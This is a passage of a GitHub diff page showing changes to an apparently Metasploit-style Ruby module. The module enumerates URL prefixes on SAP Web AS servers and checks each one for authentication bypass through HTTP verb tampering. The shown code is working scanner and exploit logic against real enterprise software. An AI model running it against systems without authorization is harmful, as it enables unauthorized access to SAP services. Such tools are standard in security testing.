You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
print_status("#{rhost}:#{rport}#{url}- not found (No Response code Received)")
131
+
vprint_status("#{full_url}- not found (No Repsonse code Received)")
135
132
end
136
133
end
137
134
135
+
defwrite_url(path)
136
+
ifdatastore['SSL']
137
+
protocol='https://'
138
+
else
139
+
protocol='http://'
140
+
end
141
+
142
+
"#{protocol}#{rhost}:#{rport}#{path}"
143
+
end
144
+
138
145
defbypass_auth(url)
139
-
print_status("#{rhost}:#{rport} Check for verb tampering (#{datastore['VERB']})")
146
+
full_url=write_url(url)
147
+
vprint_status("#{full_url} Check for verb tampering (#{datastore['VERB']})")
140
148
141
149
res=send_request_raw({
142
-
'uri'=>url,
150
+
'uri'=>normalize_uri(url),
143
151
'method'=>datastore['VERB'],
144
152
'version'=>'1.0'# 1.1 makes the head request wait on timeout for some reason
145
-
},20)
153
+
})
146
154
147
-
if(resandres.code == 200)
148
-
print_good("#{rhost}:#{rport} Got authentication bypass via HTTP verb tampering (length: #{res.headers['Content-Length']})")
155
+
if(res&&res.code == 200)
156
+
print_good("#{full_url} Got authentication bypass via HTTP verb tampering")
149
157
else
150
-
print_status("#{rhost}:#{rport} Could not get authentication bypass via HTTP verb tampering")
158
+
vprint_status("#{rhost}:#{rport} Could not get authentication bypass via HTTP verb tampering")
151
159
end
152
160
end
153
161
162
+
# "/urlprefix outputs the list of URL prefixes that are handled in the ABAP part of the SAP Web AS.
163
+
# This is how the message server finds out which URLs must be forwarded where.
164
+
# (SAP help) -> this disclose custom URLs that are also checked for authentication
154
165
defcheck_urlprefixes
155
-
# "/urlprefix outputs the list of URL prefixes that are handled in the ABAP part of the SAP Web AS. This is how the message server finds out which URLs must be forwarded where." (SAP help)
156
-
# -> this disclose custom URLs that are also checked for authentication
166
+
urls=[]
157
167
res=send_request_cgi({
158
168
'uri'=>"/sap/public/icf_info/urlprefix",
159
169
'method'=>'GET',
160
-
'ctype'=>'text/plain',
161
-
},20)
162
-
if(resandres.code == 200)
170
+
})
171
+
172
+
if(res&&res.code == 200)
163
173
res.body.each_linedo |line|
164
174
ifline =~ /PREFIX=/
165
175
url_enc=line.sub(/^PREFIX=/,'')
176
+
# Remove CASE and VHOST
177
+
url_enc=url_enc.sub(/&CASE=.*/,'')
166
178
url_dec=URI.unescape(url_enc).sub(/;/,'')
167
-
check_url(url_dec.strip)
179
+
urls << url_dec.strip
168
180
end
169
181
end
182
+
else
183
+
print_error("#{rhost}:#{rport} Could not retrieve urlprefixes")
0 commit comments